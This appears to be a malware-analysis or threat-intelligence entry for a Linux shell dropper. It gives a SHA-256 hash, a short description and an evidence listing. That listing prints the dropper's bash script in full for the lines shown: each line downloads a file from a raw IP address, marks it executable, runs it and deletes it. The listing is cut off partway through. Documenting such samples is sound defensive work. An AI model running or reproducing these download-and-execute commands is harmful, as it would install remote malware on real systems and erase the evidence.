5803d35a5a03fa9e5f5ac4ae5d9e889ecd479d8740aaeaa16301e9c3977e6d01
Raw-IP dropper with cleanup
Raw-IP shell dropper executes and removes payloadsRepeated raw-IP payload download chmod execution
SHA-2565803d35a5a03fa9e5f5ac4ae5d9e889ecd479d8740aaeaa16301e9c3977e6d01
MaleculeO₂(C₂Er)H₃(Cm₇F₃Po)
Evidence
1#!/bin/bash
2wget http://5.182.210.174/82f793; curl -O http://5.182.210.174/82f793; chmod 777 82f793; ./82f793 bc; rm -rf 82f793; rm -rf 82f793.1
3wget http://5.182.210.174/b4be03; curl -O http://5.182.210.174/b4be03; chmod 777 b4be03; ./b4be03 bc; rm -rf b4be03; rm -rf b4be03.1
4wget http://5.182.210.174/787734; curl -O http://5.182.210.174/787734; chmod 777 787734; ./787734 bc; rm -rf 787734; rm -rf 787734.1
5wget http://5.182.210.174/1a4787; curl -O http://5.182.210.174/1a4787; chmod 777 1a4787; ./1a4787 bc; rm -rf 1a4787; rm -rf 1a4787.1
6wget http://5.182.210.174/e22ff9; curl -O http://5.182.210.174/e22ff9; chmod 777 e22ff9; ./e22ff9 bc; rm -rf e22ff9; rm -rf e22ff9.1
7wget http://5.182.210.174/af0aa4; curl -O http://5.182.210.174/af0aa4; chmod 777 af0aa4; ./af0aa4 bc; rm -rf af0aa4; rm -rf af0aa4.1
8wget http://5.182.210.174/d15835; curl -O http://5.182.210.174/d15835; chmod 777 d15835; ./d15835 bc; rm -rf d15835; rm -rf d15835.1
9wget http://5.182.210.174/67bd49; curl -O http://5.182.210.174/67bd49; chmod 777 67bd49; ./67bd49 bc; rm -rf 67bd49; rm -rf 67bd49.1
10wget http://5.182.210.174/84d29e; curl -O http://5.182.210.174/84d29e; chmod 777 84d29e; ./84d29e bc; rm -rf 84d29e; rm -rf 84d29e.1
11wget http://5.182.210.174/a408c6; curl -O http://5.182.210.174/a408c6; chmod 777 a408c6 …